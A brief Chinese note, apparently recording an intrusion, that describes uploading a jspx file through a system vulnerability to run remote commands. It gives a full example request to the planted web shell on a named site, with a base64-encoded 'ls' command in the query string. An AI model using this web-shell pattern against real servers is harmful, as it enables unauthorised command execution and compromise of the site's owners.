通过系统漏洞上传jspx文件,远程执行脚本命令;执行命令如: https://www.qcure.com//qcure/upload/default/20200227163110284_p7ngl.jspx?str=bHM=y 主要是是后面的:*.jspx?str=bHM=y